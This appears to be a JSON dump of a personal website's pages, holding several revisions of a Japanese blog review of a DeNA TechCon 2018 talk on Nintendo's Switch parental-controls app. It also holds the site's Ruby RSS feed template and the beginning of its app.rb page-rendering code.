「デバイス(Switch)」というリソースもあるのだが、これ更新をフックしてステートリソースは「同期済み」というステートになる。\r\n - ポーリングしていて「同期済み」になったら「反映完了」がでるという仕組み\r\n- 一方で規定時間が過ぎて「ダメだった」と出したタイミングでステートは「ペンディング」になる\r\n- 「ペンディング」から「同期済み」になったタイミングでプッシュ通知をする\r\n\r\n各種の操作された時間とかを E-Tag でやり取りしているとのことだった。 *(ssig33 の感想: REST っぽい API 用意してやるほうが遥かに簡単そうだがなぜこうなったのか、、、)*\r\n\r\n#### 「遊んだ時間」 という機能は GCP の Cloud Dataflow を活用しているというおはなし\r\n\r\nSwitch 側は以下のようになっている\r\n\r\n- Switch が各種ログをサーバーに送る\r\n - ソフトの起動\r\n - 今日これまでの起動時間\r\n - 暗証番号ミスった\r\n - などなど\r\n\r\nそれを用いて「デバイスごと」「ソフトウェアごと」に起動していた時間を記録する。\r\n\r\n初期実装は以下のようなもの\r\n\r\n- エンドポイントは GAE\r\n- タスクキューを経由して BigQuery に保存\r\n- MapReduce で集計する\r\n\r\nこの実装の問題点は以下\r\n\r\n- MapReduce の性質上即時更新できない\r\n- MapReduce がリソースバカ食いする\r\n- MapReduce のサポートが GAE で終了\r\n\r\nそこで Cloud Dataflow のストリームパイプラインを使った\r\n\r\n- エンドポイントは Google Cloud Pub/Sub\r\n- Pub/Sub から Dataflow のストリームパイプラインに\r\n- パイプラインは BigQuery に全データを入れつつリアルタイムに集計\r\n - 何故集計もするのに BigQuery にもデータを入れるのか?それは全データが BigQuery にあるとデバッグや開発になにかと便利であるのと、バックアップストレージとしても有用だから\r\n\r\nこれでやってみて\r\n\r\n- セッションウィンドウが便利だった\r\n- 結果的にほぼリアルタイムに集計されるようになった\r\n- 使用リソースは激減、ワーカーが 1 個になった\r\n- 処理プロセスが可視化された\r\n - 開発や運用、障害対応が改善\r\n- シーケンシャルな時系列データの処理は Cloud Dataflow とマジでマッチしていた\r\n- ストリームとバッチでコード共有できるのもよい\r\n- モニタリングコストも削減された\r\n\r\n## アプリの話 (堀)\r\n\r\nサーバーサイドの話が大幅に時間オーバーしたためかなりかっとばし気味。\r\n\r\n- ロジックはサーバーに寄せてる\r\n- 認証は内製 SDK\r\n- ライブラリの管理とかも普通\r\n- CD に fastlane\r\n- クライアントは直接 Switch 見ない\r\n- Switchの状態で通知とかはあるよ\r\n- MVVM で RxSwift 使った\r\n - リトライやポーリングで便利\r\n\r\n*(ssig33 の感想: アプリについては「とにかく普通」という印象。「普通です」というようなことも実際言っていた)*\r\n\r\n#### ローカライズの話\r\n\r\n- 10言語とか対応した。ローカライズは業務フローから設計する必要あり。\r\n- 翻訳は任天堂が対応、任天堂に翻訳作業の環境があった。\r\n- SVN に独自フォーマットの XML が入ってて、その XML をいじる Windows アプリがあるというもの。\r\n- それ使うにしてもアプリでは?その XML に記載されているものをどのように読めばいいのか?\r\n - ゲームではマスターをサーバーからロードとかがありがち\r\n - 今回はアプリのバイナリに入れた\r\n - 実用アプリでロードがはいるのは UX を毀損する、またデータ読み込みがエラーをおこして欠損があったときにダルい。\r\n- rubygem 作って xml パースして各種モバイルアプリ用のリソースにするものを作った\r\n\r\n実機検証の効率化には以下のような工夫が\r\n\r\n- いちいちビルドするのがタルいという問題意識\r\n- ライブラリ作った\r\n- ランタイムでリソース入れ替え\r\n- ユーザーが見えるとこにリソース吐いて書き換えられるようにした\r\n - iTunes 経由とかでその場で書き換えながら作業してたとのこと \r\n- ローカライズ作業専用ビルド作って翻訳者に渡した\r\n - リリース版アプリでリソース入れ替えて遊ぶとかはできないようだ。\r\n\r\n画像のローカライズの話\r\n\r\n- 画像に書かれてるものは↑の手法が適用できないので言語ごとに画像を作った\r\n- 画像は大きいので webp をつかった。\r\n - *(ssig33 の感想: ウェッピーってちゃんと発音してて好印象)*\r\n- png の 1/15 とかになってすごい\r\n- 300KB の画像が 20KB になるのって意味あるの? =\u003e とにかく画像が多いので全体では効いた\r\n\r\n\r\n\r\n## 発表全体の感想\r\n\r\n正直これらを誰が作ってもこうなるだろうというもので「SNS 共有禁止」とするのは謎すぎる。\r\n\r\nまた「SNS 共有禁止」というのも謎。俺がこうやって個人サイトに書いて、その内容をさらに別の人が SNS に共有すれば問題ないし、そのように共有された場合内容がさらに劣化されて市中に流布することになる。\r\n\r\n普通に公開可能とするか、一切外部で共有禁止とすべきなのではないか。\r\n\r\n任天堂の広報はクソ。頭悪すぎると思う。\r\n\r\n\r\n## イベント全体の感想\r\n\r\nこの発表を行なった平賀氏以外にも特に新卒 2-3 年目の技術者を中心に発表の練習不足が目立つ。内容どうこう以前の問題。部署内の勉強会とかで事前に一度でも発表してればあんなことにならないだろうと思う。正直 DeNA 内部での教育にはかなり不安を感じる。\r\n\r\nDeNA においていわゆるトップ層の技術者がそこまで層が薄くなっているという話はあまり聞いていないのだが、裾野はかなり荒廃している可能性があると感じるイベントだった。この内容で「おっしゃ DeNA に転職するか!!!」とはならないんではないか。 LINE の開発者イベントとか見習ったほうがいい。","created_at":"2018-02-09T02:14:52.000Z","updated_at":"2018-02-09T02:14:52.000Z"},{"id":3039,"name":"text/dena_techcon_2018_switch","body":"%blog% DeNA TechCon 2018 『『Nintendo みまもり Switch』を支える技術』 の内容紹介と感想\r\n\r\nそういうわけで [https://techcon.dena.com/](https://techcon.dena.com/) にいってきました。\r\n\r\n表題の発表は、撮影および SNS での内容共有の禁止ということになっていたので、内容を個人サイトで共有致します。その場にいなかった方でこの記事を読んだ方であればこの記事およびその内容を SNS で共有することは一切禁じられないかと思いますのでよろしくお願いします。\r\n\r\n## 発表者\r\n\r\n- DeNA\r\n - 堀、平賀 \r\n- 任天堂\r\n - 名前メモし忘れた\r\n\r\n公開されたスケジュールでは堀および平賀による発表ということになっていたが、任天堂の何者かが急遽参加したということだった。おそらく技術者ではなく広報の人。\r\n\r\n## サービス紹介 (任天堂の人)\r\n\r\nサービス内容については検索すれば分かることを普通にしゃべり、クッパがサービスを使うあの動画を流すだけ。*(ssig33 の感想: なにしにきたんだコイツ)*\r\n\r\n## 開発体制 (堀)\r\n\r\n任天堂は企画、ディレクション、 Switch のサーバーなど\r\nDeNAは企画サポート、サービス固有のサーバーやアプリなど\r\n\r\n実際にはぱきっと分かれてたわけでもなく相互にいろいろやってた。\r\n\r\n## 開発プロセス (堀)\r\n\r\nSwitch の開発がいるのがプロセスとしての特徴的な点。 FW のケツがはやかったので配慮が必要だった。\r\n\r\nプロトタイピングはかなり気合入れた。機能をほぼ作り込んでユーザーテストを実行。\r\n\r\n検証とフィードバックは開発中繰り返した。\r\n\r\n#### 開発のハードル\r\n\r\n- コンセプトの共有は難しい。\r\n - 親にACアダプタ隠されたとかない人に伝えるのは難しい。\r\n - ゲームやる時間とか自分でコントロールできてた人もいる。\r\n\r\n*(ssig33 の感想: この辺悪ガキだった経験ない人にはたしかにめっちゃ難しそう、そしてそういう優等生タイプの人がチームにたくさんいたのだという部分について意外に思う、が今の DeNA はそういう会社ということなのだろう)*\r\n\r\n行動分析、ペルソナ設計などなどやっていった\r\n\r\n#### 利用者の多様性という問題\r\n\r\nSwitch はグローバルに売られるもの。法律、文化は国ごとに違う。成人年齢ももちろん国によって違う。概してペアレンタルコントロールについて海外のほうが日本よりキツい。\r\n\r\nデバイス間のペアリングというのは一般的にかなり難しい作業。非パワーユーザーにここ理解させるのは難しい。\r\n\r\nドックフーディング会を多々開催。任天堂海外ブランチがあるのでそこにも協力してもらった。 QA 部門からのフィードバックも受けた。\r\n\r\n#### 多拠点\r\n\r\n任天堂は京都、 DeNA は東京、任天堂海外ブランチも関与という体制。\r\n\r\nプロトタイピング期間は合宿を開催。開発中はテレビ会議を多用するほか出張も多々あり。合宿も続けて定期的に開催した。\r\n\r\n開発プロセスにおいて銀の弾丸はないというのを改めて実感したとのこと。\r\n\r\n## Switchとアプリの連携 (平賀)\r\n\r\nおもにサーバーサイドの話。\r\n\r\n*(ssig33 の感想:この話をしたエンジニアの話し方が異様にすっトロくて時間も大幅にオーバーしていた上に内容も「まあそりゃだれがやってもこうでは、、、」というものでかなり悪印象。)*\r\n\r\n嫌がらせ(この記事を書く行為)のために聞いていたのだが、この辺からもうだるくなってきたので以下適当な箇条書き。\r\n\r\n- スマホからみまもり設定をするのだが、どのデータをマスターとすべきだろうか? =\u003e サーバーということになった。\r\n- アプリはサーバーに設定を送りつけ、 Switch はなるべくすみやかにサーバーから拾ってきて適用する\r\n- Switch には Switch 用の通知機構があるので、それで設定更新を通知している\r\n- 本当にシンプルにつくって以下のような課題があった\r\n - なるべく即時反映してほしいがそうならない\r\n - おそらく当初の「シンプル」な実装には通知機構の利用が含まれていなかったものと思うがそのあたり言及なし\r\n - オフラインの Switch には設定を反映させられない\r\n - *(ssig33 の感想: 前段において「サーバーをマスターにする」云々の話をわざわざしたというのは、ユーザー家庭内のネットワーク(WiFi や BT)で Switch とスマホを直結してみまもり設定を更新するという実装にすればオフライン問題は解決する。一方で利用難易度や典型的な状況での可用性は悪化するだろう。このあたりにいろいろ仕様決定の上で葛藤があったのだと思う。)*\r\n - 反映状況をユーザーに見せたいが難しい\r\n\r\nその上で最終仕様は以下の通り\r\n\r\n- 保存ボタン押されると反映中とアプリに出る、しばらく出る、Switchにデータ行ったらその場で終わったと出す\r\n- 規定の時間が経過して反映されなかったら「ダメだった」とアプリに出す\r\n- Switch がオンラインとなり設定が反映されるとスマホにプッシュ通知\r\n\r\n以下のような実装\r\n\r\n- サーバーには「設定」というリソースと「設定反映ステート」というリソースが定義されている。\r\n- アプリは「反映中」と出してる間ステートリソースをポーリングする\r\n- Switch は通知が来たら設定リソースを取りにいく\r\n- 「デバイス(Switch)」というリソースもあるのだが、これ更新をフックしてステートリソースは「同期済み」というステートになる。\r\n - ポーリングしていて「同期済み」になったら「反映完了」がでるという仕組み\r\n- 一方で規定時間が過ぎて「ダメだった」と出したタイミングでステートは「ペンディング」になる\r\n- 「ペンディング」から「同期済み」になったタイミングでプッシュ通知をする\r\n\r\n各種の操作された時間とかを E-Tag でやり取りしているとのことだった。 *(ssig33 の感想: REST っぽい API 用意してやるほうが遥かに簡単そうだがなぜこうなったのか、、、)*\r\n\r\n#### 「遊んだ時間」 という機能は GCP の Cloud Dataflow を活用しているというおはなし\r\n\r\nSwitch 側は以下のようになっている\r\n\r\n- Switch が各種ログをサーバーに送る\r\n - ソフトの起動\r\n - 今日これまでの起動時間\r\n - 暗証番号ミスった\r\n - などなど\r\n\r\nそれを用いて「デバイスごと」「ソフトウェアごと」に起動していた時間を記録する。\r\n\r\n初期実装は以下のようなもの\r\n\r\n- エンドポイントは GAE\r\n- タスクキューを経由して BigQuery に保存\r\n- MapReduce で集計する\r\n\r\nこの実装の問題点は以下\r\n\r\n- MapReduce の性質上即時更新できない\r\n- MapReduce がリソースバカ食いする\r\n- MapReduce のサポートが GAE で終了\r\n\r\nそこで Cloud Dataflow のストリームパイプラインを使った\r\n\r\n- エンドポイントは Google Cloud Pub/Sub\r\n- Pub/Sub から Dataflow のストリームパイプラインに\r\n- パイプラインは BigQuery に全データを入れつつリアルタイムに集計\r\n - 何故集計もするのに BigQuery にもデータを入れるのか?それは全データが BigQuery にあるとデバッグや開発になにかと便利であるのと、バックアップストレージとしても有用だから\r\n\r\nこれでやってみて\r\n\r\n- セッションウィンドウが便利だった\r\n- 結果的にほぼリアルタイムに集計されるようになった\r\n- 使用リソースは激減、ワーカーが 1 個になった\r\n- 処理プロセスが可視化された\r\n - 開発や運用、障害対応が改善\r\n- シーケンシャルな時系列データの処理は Cloud Dataflow とマジでマッチしていた\r\n- ストリームとバッチでコード共有できるのもよい\r\n- モニタリングコストも削減された\r\n\r\n## アプリの話 (堀)\r\n\r\nサーバーサイドの話が大幅に時間オーバーしたためかなりかっとばし気味。\r\n\r\n- ロジックはサーバーに寄せてる\r\n- 認証は内製 SDK\r\n- ライブラリの管理とかも普通\r\n- CD に fastlane\r\n- クライアントは直接 Switch 見ない\r\n- Switchの状態で通知とかはあるよ\r\n- MVVM で RxSwift 使った\r\n - リトライやポーリングで便利\r\n\r\n*(ssig33 の感想: アプリについては「とにかく普通」という印象。「普通です」というようなことも実際言っていた)*\r\n\r\n#### ローカライズの話\r\n\r\n- 10言語とか対応した。ローカライズは業務フローから設計する必要あり。\r\n- 翻訳は任天堂が対応、任天堂に翻訳作業の環境があった。\r\n- SVN に独自フォーマットの XML が入ってて、その XML をいじる Windows アプリがあるというもの。\r\n- それ使うにしてもアプリでは?その XML に記載されているものをどのように読めばいいのか?\r\n - ゲームではマスターをサーバーからロードとかがありがち\r\n - 今回はアプリのバイナリに入れた\r\n - 実用アプリでロードがはいるのは UX を毀損する、またデータ読み込みがエラーをおこして欠損があったときにダルい。\r\n- rubygem 作って xml パースして各種モバイルアプリ用のリソースにするものを作った\r\n\r\n実機検証の効率化には以下のような工夫が\r\n\r\n- いちいちビルドするのがタルいという問題意識\r\n- ライブラリ作った\r\n- ランタイムでリソース入れ替え\r\n- ユーザーが見えるとこにリソース吐いて書き換えられるようにした\r\n - iTunes 経由とかでその場で書き換えながら作業してたとのこと \r\n- ローカライズ作業専用ビルド作って翻訳者に渡した\r\n - リリース版アプリでリソース入れ替えて遊ぶとかはできないようだ。\r\n\r\n画像のローカライズの話\r\n\r\n- 画像に書かれてるものは↑の手法が適用できないので言語ごとに画像を作った\r\n- 画像は大きいので webp をつかった。\r\n - *(ssig33 の感想: ウェッピーってちゃんと発音してて好印象)*\r\n- png の 1/15 とかになってすごい\r\n- 300KB の画像が 20KB になるのって意味あるの? =\u003e とにかく画像が多いので全体では効いた\r\n\r\n\r\n\r\n## 発表全体の感想\r\n\r\n正直これらを誰が作ってもこうなるだろうというもので「SNS 共有禁止」とするのは謎すぎる。\r\n\r\nまた「SNS 共有禁止」というのも謎。俺がこうやって個人サイトに書いて、その内容をさらに別の人が SNS に共有すれば問題ないし、そのように共有された場合内容がさらに劣化されて市中に流布することになる。\r\n\r\n普通に公開可能とするか、一切外部で共有禁止とすべきなのではないか。\r\n\r\n任天堂の広報はクソ。頭悪すぎると思う。\r\n\r\n\r\n## イベント全体の感想\r\n\r\nこの発表を行なった平賀氏以外にも特に新卒 2-3 年目の技術者を中心に発表の練習不足が目立つ。内容どうこう以前の問題。部署内の勉強会とかで事前に一度でも発表してればあんなことにならないだろうと思う。正直 DeNA 内部での教育にはかなり不安を感じる。\r\n\r\nDeNA においていわゆるトップ層の技術者がそこまで層が薄くなっているという話はあまり聞いていないのだが、裾野はかなり荒廃している可能性があると感じるイベントだった。この内容で「おっしゃ DeNA に転職するか!!!」とはならないんではないか。 LINE の開発者イベントとか見習ったほうがいい。","created_at":"2018-02-09T02:15:55.000Z","updated_at":"2018-02-09T02:15:55.000Z"},{"id":3040,"name":"text/dena_techcon_2018_switch","body":"%blog% DeNA TechCon 2018 『『Nintendo みまもり Switch』を支える技術』 の内容紹介と感想\r\n\r\nそういうわけで [https://techcon.dena.com/](https://techcon.dena.com/) にいってきました。\r\n\r\n表題の発表は、撮影および SNS での内容共有の禁止ということになっていたので、内容を個人サイトで共有致します。その場にいなかった方でこの記事を読んだ方であればこの記事およびその内容を SNS で共有することは一切禁じられないかと思いますのでよろしくお願いします。\r\n\r\n## 発表者\r\n\r\n- DeNA\r\n - 堀、平賀 \r\n- 任天堂\r\n - 名前メモし忘れた\r\n\r\n公開されたスケジュールでは堀および平賀による発表ということになっていたが、任天堂の何者かが急遽参加したということだった。おそらく技術者ではなく広報の人。\r\n\r\n## サービス紹介 (任天堂の人)\r\n\r\nサービス内容については検索すれば分かることを普通にしゃべり、クッパがサービスを使うあの動画を流すだけ。*(ssig33 の感想: なにしにきたんだコイツ)*\r\n\r\n## 開発体制 (堀)\r\n\r\n任天堂は企画、ディレクション、 Switch のサーバーなど\r\nDeNAは企画サポート、サービス固有のサーバーやアプリなど\r\n\r\n実際にはぱきっと分かれてたわけでもなく相互にいろいろやってた。\r\n\r\n## 開発プロセス (堀)\r\n\r\nSwitch の開発がいるのがプロセスとしての特徴的な点。 FW のケツがはやかったので配慮が必要だった。\r\n\r\nプロトタイピングはかなり気合入れた。機能をほぼ作り込んでユーザーテストを実行。\r\n\r\n検証とフィードバックは開発中繰り返した。\r\n\r\n#### 開発のハードル\r\n\r\n- コンセプトの共有は難しい。\r\n - 親にACアダプタ隠されたとかない人に伝えるのは難しい。\r\n - ゲームやる時間とか自分でコントロールできてた人もいる。\r\n\r\n*(ssig33 の感想: この辺悪ガキだった経験ない人にはたしかにめっちゃ難しそう、そしてそういう優等生タイプの人がチームにたくさんいたのだという部分について意外に思う、が今の DeNA はそういう会社ということなのだろう)*\r\n\r\n行動分析、ペルソナ設計などなどやっていった\r\n\r\n#### 利用者の多様性という問題\r\n\r\nSwitch はグローバルに売られるもの。法律、文化は国ごとに違う。成人年齢ももちろん国によって違う。概してペアレンタルコントロールについて海外のほうが日本よりキツい。\r\n\r\nデバイス間のペアリングというのは一般的にかなり難しい作業。非パワーユーザーにここ理解させるのは難しい。\r\n\r\nドックフーディング会を多々開催。任天堂海外ブランチがあるのでそこにも協力してもらった。 QA 部門からのフィードバックも受けた。\r\n\r\n#### 多拠点\r\n\r\n任天堂は京都、 DeNA は東京、任天堂海外ブランチも関与という体制。\r\n\r\nプロトタイピング期間は合宿を開催。開発中はテレビ会議を多用するほか出張も多々あり。合宿も続けて定期的に開催した。\r\n\r\n開発プロセスにおいて銀の弾丸はないというのを改めて実感したとのこと。\r\n\r\n## Switchとアプリの連携 (平賀)\r\n\r\nおもにサーバーサイドの話。\r\n\r\n*(ssig33 の感想:この話をしたエンジニアの話し方が異様にすっトロくて時間も大幅にオーバーしていた上に内容も「まあそりゃだれがやってもこうでは、、、」というものでかなり悪印象。)*\r\n\r\n嫌がらせ(この記事を書く行為)のために聞いていたのだが、この辺からもうだるくなってきたので以下適当な箇条書き。\r\n\r\n- スマホからみまもり設定をするのだが、どのデータをマスターとすべきだろうか? =\u003e サーバーということになった。\r\n- アプリはサーバーに設定を送りつけ、 Switch はなるべくすみやかにサーバーから拾ってきて適用する\r\n- Switch には Switch 用の通知機構があるので、それで設定更新を通知している\r\n- 本当にシンプルにつくって以下のような課題があった\r\n - なるべく即時反映してほしいがそうならない\r\n - おそらく当初の「シンプル」な実装には通知機構の利用が含まれていなかったものと思うがそのあたり言及なし\r\n - オフラインの Switch には設定を反映させられない\r\n - *(ssig33 の感想: 前段において「サーバーをマスターにする」云々の話をわざわざしたというのは、ユーザー家庭内のネットワーク(WiFi や BT)で Switch とスマホを直結してみまもり設定を更新するという実装にすればオフライン問題は解決する。一方で利用難易度や典型的な状況での可用性は悪化するだろう。このあたりにいろいろ仕様決定の上で葛藤があったのだと思う。)*\r\n - 反映状況をユーザーに見せたいが難しい\r\n\r\nその上で最終仕様は以下の通り\r\n\r\n- 保存ボタン押されると反映中とアプリに出る、しばらく出る、Switchにデータ行ったらその場で終わったと出す\r\n- 規定の時間が経過して反映されなかったら「ダメだった」とアプリに出す\r\n- Switch がオンラインとなり設定が反映されるとスマホにプッシュ通知\r\n\r\n以下のような実装\r\n\r\n- サーバーには「設定」というリソースと「設定反映ステート」というリソースが定義されている。\r\n- アプリは「反映中」と出してる間ステートリソースをポーリングする\r\n- Switch は通知が来たら設定リソースを取りにいく\r\n- 「デバイス(Switch)」というリソースもあるのだが、これ更新をフックしてステートリソースは「同期済み」というステートになる。\r\n - ポーリングしていて「同期済み」になったら「反映完了」がでるという仕組み\r\n- 一方で規定時間が過ぎて「ダメだった」と出したタイミングでステートは「ペンディング」になる\r\n- 「ペンディング」から「同期済み」になったタイミングでプッシュ通知をする\r\n\r\n各種の操作された時間とかを E-Tag でやり取りしているとのことだった。 *(ssig33 の感想: REST っぽい API 用意してやるほうが遥かに簡単そうだがなぜこうなったのか、、、)*\r\n\r\n#### 「遊んだ時間」 という機能は GCP の Cloud Dataflow を活用しているというおはなし\r\n\r\nSwitch 側は以下のようになっている\r\n\r\n- Switch が各種ログをサーバーに送る\r\n - ソフトの起動\r\n - 今日これまでの起動時間\r\n - 暗証番号ミスった\r\n - などなど\r\n\r\nそれを用いて「デバイスごと」「ソフトウェアごと」に起動していた時間を記録する。\r\n\r\n初期実装は以下のようなもの\r\n\r\n- エンドポイントは GAE\r\n- タスクキューを経由して BigQuery に保存\r\n- MapReduce で集計する\r\n\r\nこの実装の問題点は以下\r\n\r\n- MapReduce の性質上即時更新できない\r\n- MapReduce がリソースバカ食いする\r\n- MapReduce のサポートが GAE で終了\r\n\r\nそこで Cloud Dataflow のストリームパイプラインを使った\r\n\r\n- エンドポイントは Google Cloud Pub/Sub\r\n- Pub/Sub から Dataflow のストリームパイプラインに\r\n- パイプラインは BigQuery に全データを入れつつリアルタイムに集計\r\n - 何故集計もするのに BigQuery にもデータを入れるのか?それは全データが BigQuery にあるとデバッグや開発になにかと便利であるのと、バックアップストレージとしても有用だから\r\n\r\nこれでやってみて\r\n\r\n- セッションウィンドウが便利だった\r\n- 結果的にほぼリアルタイムに集計されるようになった\r\n- 使用リソースは激減、ワーカーが 1 個になった\r\n- 処理プロセスが可視化された\r\n - 開発や運用、障害対応が改善\r\n- シーケンシャルな時系列データの処理は Cloud Dataflow とマジでマッチしていた\r\n- ストリームとバッチでコード共有できるのもよい\r\n- モニタリングコストも削減された\r\n\r\n## アプリの話 (堀)\r\n\r\nサーバーサイドの話が大幅に時間オーバーしたためかなりかっとばし気味。\r\n\r\n- ロジックはサーバーに寄せてる\r\n- 認証は内製 SDK\r\n- ライブラリの管理とかも普通\r\n- CD に fastlane\r\n- クライアントは直接 Switch 見ない\r\n- Switchの状態で通知とかはあるよ\r\n- MVVM で RxSwift 使った\r\n - リトライやポーリングで便利\r\n\r\n*(ssig33 の感想: アプリについては「とにかく普通」という印象。「普通です」というようなことも実際言っていた)*\r\n\r\n#### ローカライズの話\r\n\r\n- 10言語とか対応した。ローカライズは業務フローから設計する必要あり。\r\n- 翻訳は任天堂が対応、任天堂に翻訳作業の環境があった。\r\n- SVN に独自フォーマットの XML が入ってて、その XML をいじる Windows アプリがあるというもの。\r\n- それ使うにしてもアプリでは?その XML に記載されているものをどのように読めばいいのか?\r\n - ゲームではマスターをサーバーからロードとかがありがち\r\n - 今回はアプリのバイナリに入れた\r\n - 実用アプリでロードがはいるのは UX を毀損する、またデータ読み込みがエラーをおこして欠損があったときにダルい。\r\n- rubygem 作って xml パースして各種モバイルアプリ用のリソースにするものを作った\r\n\r\n実機検証の効率化には以下のような工夫が\r\n\r\n- いちいちビルドするのがタルいという問題意識\r\n- ライブラリ作った\r\n- ランタイムでリソース入れ替え\r\n- ユーザーが見えるとこにリソース吐いて書き換えられるようにした\r\n - iTunes 経由とかでその場で書き換えながら作業してたとのこと \r\n- ローカライズ作業専用ビルド作って翻訳者に渡した\r\n - リリース版アプリでリソース入れ替えて遊ぶとかはできないようだ。\r\n\r\n画像のローカライズの話\r\n\r\n- 画像に書かれてるものは↑の手法が適用できないので言語ごとに画像を作った\r\n- 画像は大きいので webp をつかった。\r\n - *(ssig33 の感想: ウェッピーってちゃんと発音してて好印象)*\r\n- png の 1/15 とかになってすごい\r\n- 300KB の画像が 20KB になるのって意味あるの? =\u003e とにかく画像が多いので全体では効いた\r\n\r\n\r\n\r\n## 発表全体の感想\r\n\r\n正直これらを誰が作ってもこうなるだろうというもので「SNS 共有禁止」とするのは謎すぎる。\r\n\r\nまた「SNS 共有禁止」というのも謎。俺がこうやって個人サイトに書いて、その内容をさらに別の人が SNS に共有すれば問題ないし、そのように共有された場合内容がさらに劣化されて市中に流布することになる。\r\n\r\n普通に公開可能とするか、一切外部で共有禁止とすべきなのではないか。\r\n\r\n任天堂の広報はクソ。頭悪すぎると思う。\r\n\r\n\r\n## イベント全体の感想\r\n\r\nこの発表を行なった平賀氏以外にも特に新卒 2-3 年目の技術者を中心に発表の練習不足が目立つ。内容どうこう以前の問題。部署内の勉強会とかで事前に一度でも発表してればあんなことにならないだろうと思う。正直 DeNA 内部での教育にはかなり不安を感じる。\r\n\r\nDeNA においていわゆるトップ層の技術者がそこまで層が薄くなっているという話はあまり聞いていないのだが、裾野はかなり荒廃している可能性があると感じるイベントだった。この内容で「おっしゃ DeNA に転職するか!!!」とはならないんではないか。 LINE の開発者イベントとか見習ったほうがいい。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eDeNA Techcon なにが酷いってデカいホール借りた採用イベントで、「時間足りないのでここ飛ばします」が多発してたことですね、社内でちゃんと練習させてやれよ、なんでせっかく雇ったエンジニアをノーガードで人の前に放りだすんだよ、あの会社今本当にダメだと思う\u003c/p\u003e\u0026mdash; 高野麻里佳の奥歯 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/961896215158800391?ref_src=twsrc%5Etfw\"\u003eFebruary 9, 2018\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eあの状態の会社に行きたい奴よっぽど Showroom 好きなドルオタとかぐらいだろ\u003c/p\u003e\u0026mdash; 高野麻里佳の奥歯 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/961896359258238977?ref_src=twsrc%5Etfw\"\u003eFebruary 9, 2018\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003e本当にみんなとっとと転職したほうがいい、よそいったら絶対いろいろよくなる\u003c/p\u003e\u0026mdash; 高野麻里佳の奥歯 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/961896665635438597?ref_src=twsrc%5Etfw\"\u003eFebruary 9, 2018\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n","created_at":"2018-02-09T09:37:22.000Z","updated_at":"2018-02-09T09:37:22.000Z"},{"id":3041,"name":"feed","body":"builder Recent Update\r\n# vim: set ft=ruby:\r\nrequire 'open-uri'\r\nxml.instruct!\r\nxml.rss :version =\u003e \"2.0\" do\r\n xml.channel do\r\n xml.title \"ssig33.com - recent update\"\r\n xml.description \"ssig33's web site\"\r\n xml.link \"http://ssig33.com\"\r\n posts = []\r\n JSON.parse(open(\"https://diary.app.ssig33.com/api\").read).each do |diary|\r\n xml.item do\r\n xml.title diary[\"Body\"].split(\"\\n\")[0]\r\n xml.link \"http://diary.app.ssig33.com/#{diary[\"Id\"]}\"\r\n xml.description diary[\"Body\"]\r\n xml.pubDate Time.parse(diary[\"CreatedAt\"]).rfc822()\r\n xml.guid \"http://diary.app.ssig33.com/#{diary[\"Id\"]}\"\r\n end\r\n end\r\n Page.order(\"created_at desc\").limit(150).each{|p|\r\n next if p.name =~ /^text$|radar|.js$|^feed$|^recent$|^index$|source\\/app.rb/\r\n flag = true\r\n posts.each{|t|\r\n flag = false if t.name == p.name\r\n }\r\n posts \u003c\u003c p if flag\r\n }\r\n posts.each do |post|\r\n xml.item do\r\n xml.title post.title\r\n xml.link \"http://ssig33.com/#{post.name}\"\r\n xml.description post.html(request)\r\n xml.pubDate Time.parse(post.created_at.to_s).rfc822()\r\n xml.guid \"http://ssig33.com/#{post.name}\"\r\n end\r\n end\r\n end\r\nend","created_at":"2018-02-11T04:57:30.000Z","updated_at":"2018-02-11T04:57:30.000Z"},{"id":3042,"name":"source/app.rb","body":"raw\r\n# vim:set syntax=ruby:\r\nrequire \"msgpack\"\r\nrequire 'digest/md5'\r\nrequire 'fileutils'\r\nrequire 'open-uri'\r\n\r\n\r\nclass SearchIndex \u003c ActiveRecord::Base\r\nend\r\n\r\nclass Page \u003c ActiveRecord::Base\r\n def subdomain request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n return nil unless request.host == \"ssig33.com\"\r\n return \"http://#{self.name}/\"\r\n else\r\n return nil\r\n end\r\n end\r\n \r\n def blog str\r\n text = \u003c\u003cEOS\r\n# [ssig33.com](/)\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n## #{self.blogtitle}\r\nEOS\r\n str.sub(/%blog%.*\\n/, text)+\"\\n\\n [back to index of texts](/text)\"\r\n end\r\n \r\n def blogtitle\r\n if self.body.split(\"\\n\").first =~ /%blog%\\ .*/\r\n self.body.split(\"\\n\").first.sub(/%blog%\\ /, '')\r\n else\r\n self.name.sub(/^.*?\\//, '')\r\n end\r\n end\r\n \r\n def html request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n a = self.body.split(\"\\n\")\r\n a.pop\r\n self.body = a.join(\"\\n\")\r\n end\r\n case self.body.split(\"\\n\").first \r\n when /^haml/\r\n return self.haml request\r\n when /^coffee/\r\n return self.coffee\r\n when /^ruby/\r\n str = \"\"\r\n when /^title/\r\n str = \"\"\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n else\r\n str = self.body\r\n end\r\n str = self.blog(str) if str =~ /%blog%/\r\n Redcarpet::Markdown.new(Redcarpet::Render::HTML, autolink: true, fenced_code_blocks: true, tables: true).render(str) \r\n end\r\n\r\n def title\r\n case self.body.split(\"\\n\").first\r\n when /title/\r\n str = self.body.split(\"\\n\").shift.split(\"title\\ \").last\r\n when /%blog%/\r\n str = self.blogtitle\r\n when /haml/\r\n str = self.body.split(\"\\n\").shift.split(\"haml\\ \").last\r\n when /builder/\r\n str = self.body.split(\"\\n\").shift.split(\"builder\\ \").last\r\n when /coffee/\r\n str = self.body.split(\"\\n\").shift.split(\"coffee\\ \").last\r\n when /ruby/\r\n str = 